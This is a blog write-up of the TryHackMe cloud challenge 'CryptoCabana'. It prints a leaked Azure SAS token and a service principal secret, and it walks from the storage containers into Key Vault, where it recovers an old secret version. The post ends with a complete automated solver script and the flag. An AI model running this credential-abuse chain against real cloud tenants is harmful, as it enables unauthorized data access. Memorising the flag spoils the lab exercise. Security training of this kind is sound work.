DEV Community

Cover image for [TryHackMe Writeup] CryptoCabana
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] CryptoCabana

CryptoCabana (Azure / Cloud CTF) — How to Solve

Target: static site https://cryptocabanaf5scjagc.z13.web.core.windows.net/
Lab: Azure portal (THM Cloud CTF), sub Az-Subs-CTF, user **Username**
Answer format: THM{...} (48 chars) — ***{***_**_****_***_**_******}

TL;DR

  1. The kiosk site's app.js leaks an account-level storage SAS token (ss=b&srt=sco&sp=rl) for storage account cryptocabanaf5scjagc.
  2. Manual REST comp=list fails with "sr is mandatory" — but the Azure Storage SDK (ContainerClient.list_blobs()) works with the same SAS and enumerates every container: backups (empty), $web, and vault.
  3. vault holds backup-service-account.json + seed_phrase.txt.
  4. backup-service-account.json is a service principal (client_id, client_secret, tenant_id) with read access to Key Vault ccabana-kv-f5scjagc.
  5. Key Vault secrets key-shard-1 and key-shard-3 are flag fragments. key-shard-2 was rotated (current value = "Rotated this after IT flagged it..." note).
  6. Listing secret versions reveals the old key-shard-2 value = the real middle shard.
  7. Concatenate shard-1 + old shard-2 + shard-3:

THM{n0t_ur_k3ys_n0t_ur_c01ns!} — "not your keys, not your coins"

Steps in detail

**1. Pull apart what the kiosk hands out for free

**
GET /app.js on the static site:

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";
Enter fullscreen mode Exit fullscreen mode
  • srt=sco → account-level SAS; sp=rl → read + list; valid until 2099, HTTPS only.
  • Interesting: a backup kiosk that can never write (no w in sp). PUTAuthorizationPermissionMismatch. And List Blobs via raw REST → sr is mandatory because the signature was built without list query parameters.

2. Follow the trust somewhere the kiosk page never points

Use the Azure SDK — it performs the list differently than the raw REST call and works despite the quirky SAS:

from azure.storage.blob import ContainerClient
c = ContainerClient("https://cryptocabanaf5scjagc.blob.core.windows.net", "vault", credential=SAS)
[b.name for b in c.list_blobs()]
# ['backup-service-account.json', 'seed_phrase.txt']
Enter fullscreen mode Exit fullscreen mode

(Also enumerated: backups = empty, $web = app.js + index.html.)

3. The vault's real values (second ask)

Download backup-service-account.json:

{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}
Enter fullscreen mode Exit fullscreen mode

A service principal that can read Key Vault secrets. (The 12-word seed_phrase.txt is a decoy/red herring.)

4. A vault that won't give up the real values on the first ask

from azure.identity import ClientSecretCredential
cred = ClientSecretCredential(tenant_id, client_id, client_secret)
tok = cred.get_token("https://vault.azure.net/.default").token
Enter fullscreen mode Exit fullscreen mode

GET https://ccabana-kv-f5scjagc.vault.azure.net/secrets?api-version=7.4:

secret value
key-shard-1 THM{n0t_ur
key-shard-2 Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
key-shard-3 ur_c01ns!}
master-key read denied (403) — decoy

Shard-2 screams rotation. List its versions:

GET /secrets/key-shard-2/versions?api-version=7.4
Enter fullscreen mode Exit fullscreen mode
  • c922c422 (new) → the "Rotated..." note
  • 3d6492d2 (old, created 2s earlier)_k3ys_n0t_

5. Assemble

THM{n0t_ur + _k3ys_n0t_ + ur_c01ns!}
Enter fullscreen mode Exit fullscreen mode

FLAG: THM{n0t_ur_k3ys_n0t_ur_c01ns!}

Key takeaways

  • Account-level SAS tokens may not list via raw REST with the parameters you'd expect — try the official SDK before brute-forcing blob names.
  • Secret rotation on Azure Key Vault preserves old versions; GET /secrets/{name}/versions + fetching each version recovers the pre-rotation value.
  • The @0xMia hint ("if a value looks freshly rotated, ask yourself what it looked like five minutes before that") maps directly to old Key Vault secret versions.

Files

  • solve_cryptocabana.py — fully automatic solver (SAS → vault blobs → SP login → KV shard versions → flag). Usage: python solve_cryptocabana.py [site-url]; nothing hardcoded beyond the default site URL.
import sys
import re
import requests
from azure.identity import ClientSecretCredential
from azure.storage.blob import BlobServiceClient

sys.stdout.reconfigure(encoding="utf-8", errors="replace")

DEFAULT_SITE = "https://cryptocabanaf5scjagc.z13.web.core.windows.net"

def main(site):
    # [1] Pull apart what the kiosk hands out for free (app.js leaks the SAS)
    js = requests.get(f"{site}/app.js", timeout=15).text
    account = re.search(r'const STORAGE_ACCOUNT = "([^"]+)";', js).group(1)
    sas = re.search(r'const BACKUP_SAS = "\?(.*?)";', js).group(1)
    print(f"[1/6] SAS + storage account extracted from {site}/app.js -> {account}")

    # [2] Enumerate ALL containers with the account SAS (no names guessed)
    svc = BlobServiceClient(f"https://{account}.blob.core.windows.net", credential=sas)
    containers = [c.name for c in svc.list_containers()]
    print(f"[2/6] containers: {containers}")

    # [3] Find the container that holds backups (skip $web - that's the kiosk itself)
    vault_ct = None
    for name in containers:
        cc = svc.get_container_client(name)
        if name == "$web":
            continue
        blobs = [b.name for b in cc.list_blobs()]
        print(f"    {name}: {blobs}")
        if blobs:
            vault_ct = (name, blobs)
    assert vault_ct, "no populated container found"
    cname, blobs = vault_ct

    # [4] Read every blob in it until we find the service principal backup
    sp = None
    for bname in blobs:
        data = svc.get_blob_client(cname, bname).download_blob().readall()
        text = data.decode("utf-8", errors="replace")
        cand = dict(re.findall(r'"([\w_]+)":"([^"]*)"', text))
        if cand.get("client_id") and cand.get("client_secret") and cand.get("key_vault_uri"):
            sp = cand
            print(f"[4/6] service principal found in {cname}/{bname} (tenant {cand['tenant_id']})")
            break
    assert sp, "no service principal backup blob found"

    # [5] Login as the backup service account (creds came from the blob, nothing hardcoded)
    cred = ClientSecretCredential(sp["tenant_id"], sp["client_id"], sp["client_secret"])
    tok = cred.get_token("https://vault.azure.net/.default").token
    H = {"Authorization": f"Bearer {tok}"}
    kv = sp["key_vault_uri"]

    secrets = requests.get(f"{kv}secrets?api-version=7.4", headers=H, timeout=20).json()
    shards = {}
    for s in secrets.get("value", []):
        name = s["id"].split("/")[-1]
        versions = requests.get(f"{kv}secrets/{name}/versions?api-version=7.4", headers=H, timeout=20).json()
        cands = []
        for v in versions.get("value", []):
            vid = v["id"].split("/")[-1]
            vv = requests.get(f"{kv}secrets/{name}/{vid}?api-version=7.4", headers=H, timeout=20)
            if vv.status_code != 200:
                continue
            val = vv.json().get("value", "")
            if not re.search(r"\s", val):          # plain token = shard material
                cands.append((v["attributes"].get("created", 0), val))
            elif "Rotated" in val or "recoverable" in val:
                print(f"    {name} was rotated -> old version holds the real shard")
        if cands:
            cands.sort()
            shards[name] = cands[0][1]              # oldest = pre-rotation value
    print(f"[5/6] shards recovered: {shards}")

    # [6] Assemble in name order and validate
    flag = "".join(shards[n] for n in sorted(shards))
    assert flag.startswith("THM{") and flag.endswith("}") and len(flag) > 25, f"bad flag: {flag}"
    print(f"[6/6] FLAG: {flag}")

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_SITE
    main(url.rstrip("/"))

Enter fullscreen mode Exit fullscreen mode

Top comments (0)